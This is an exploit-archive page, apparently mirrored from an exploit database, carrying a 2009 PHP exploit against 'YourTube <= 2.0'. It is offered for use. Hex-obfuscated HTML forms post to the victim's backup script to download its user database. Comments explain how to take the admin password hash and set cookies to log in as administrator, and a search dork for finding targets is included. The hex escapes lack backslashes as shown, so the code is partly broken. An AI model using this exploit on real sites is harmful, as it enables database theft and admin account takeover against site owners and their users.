[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : YourTube <= 2.0 Arbitrary Database Disclosure Exploit
# Published : 2009-07-02
# Author : Security Code Team
# Previous Title : Universe CMS 1.0.6 (vnews.php id) Remote SQL Injection Exploit
# Next Title : Sourcefire 3D Sensor & Defense Center 4.8.x Privilege Escalation Vuln
<?
//=> exploit : YourTube <= 2.0 Remote SQL Database Disclosure
//=> info : http://www.ac4p.com
//=> DORK: "powered by yourtube"
//=> found by: Security Code Team - thanks for sniper code and Qabandi --
//=> our home: WwW.Sec-Code.com
//=> greats 4 our members in our home --
///
// - Upload this file to Apache server and fill victim site in the feild -
// - press the button to download the database -
// - copy admin information [ hash passwd -username-userid] :)
// -now use the cookies to enter admin cp - go here => http://victim.com/path/cp -- and put there information
// - one by one --like this for example javascript:document.cookie="username=admin";
// javascript:document.cookie="password=9662183a3e621d636cb373f6e18a8f04";
// javascript:document.cookie="user_id=1";
//
// reload the page and you will be admin /
//
// pease -- visit us www.sec-code.com --
if (isset($_GET['Qabandi'])) {
echo "x3Cx66x6Fx72x6Dx20x6Ex61x6Dx65x3Dx27x66x6Fx72x6Dx77x27x20x6Dx65x74x68x6Fx64x3Dx27x70x6Fx73x74x27x20x61x63x74x69x6Fx6Ex3D'". $_POST[victim] ."x2Fx63x70x2Fx62x61x63x6Bx75x70x2Ex70x68x70x27x3Ex3Cx69x6Ex70x75x74x20x6Ex61x6Dx65x3Dx27x61x63x74x69x6Fx6Ex27x20x74x79x70x65x3Dx27x68x69x64x64x65x6Ex27x20x76x61x6Cx75x65x3Dx27x79x65x73x27x3Ex3Cx69x6Ex70x75x74x20x74x79x70x65x3Dx27x68x69x64x64x65x6Ex27x20x6Ex61x6Dx65x3Dx27x74x61x62x6Cx65x6Ex5Bx5Dx27x20x76x61x6Cx75x65x3Dx27x61x63x34x70x63x6Fx6Dx5Fx75x73x65x72x73x27x20x63x68x65x63x6Bx65x64x3Dx27x63x68x65x63x6Bx65x64x27x20x2Fx3Ex3Cx2Fx74x64x3Ex3Cx69x6Ex70x75x74x20x74x79x70x65x3Dx27x73x75x62x6Dx69x74x27x20x6Ex61x6Dx65x3Dx27x73x75x62x6Dx69x74x32x27x20x63x6Cx61x73x73x3Dx27x62x75x74x74x6Fx6Ex73x27x20x76x61x6Cx75x65x3Dx27x47x65x74x20x61x63x34x70x63x6Fx6Dx5Fx75x73x65x72x73x27x20x2Fx3Ex3Cx2Fx66x6Fx72x6Dx3E";
} else{
echo "x3Cx66x6Fx72x6Dx20x6Ex61x6Dx65x3Dx27x66x6Fx72x6Dx31x27x20x65x6Ex63x74x79x70x65x3Dx27x6Dx75x6Cx74x69x70x61x72x74x2Fx66x6Fx72x6Dx2Dx64x61x74x61x27x20x61x63x74x69x6Fx6Ex3Dx27". $PHP_SELF ."x3Fx51x61x62x61x6Ex64x69x3Dx31x27x20x6Dx65x74x68x6Fx64x3Dx27x70x6Fx73x74x27x3Ex3Cx69x6Ex70x75x74x20x74x79x70x65x3Dx27x74x65x78x74x27x20x73x69x7Ax65x3Dx27x32x35x27x20x6Ex61x6Dx65x3Dx27x76x69x63x74x69x6Dx27x20x76x61x6Cx75x65x3Dx27x68x74x74x70x3Ax2Fx2Fx56x49x43x54x49x4Dx2Fx53x43x52x49x50x54x2Fx27x20x2Fx3Ex3Cx62x72x3Ex3Cx69x6Ex70x75x74x20x74x79x70x65x3Dx27x73x75x62x6Dx69x74x27x20x6Ex61x6Dx65x3Dx27x71x75x62x27x20x76x61x6Cx75x65x3Dx27x4Ex65x78x74x27x3E";
}
?>
# www.Syue.com [2009-07-02]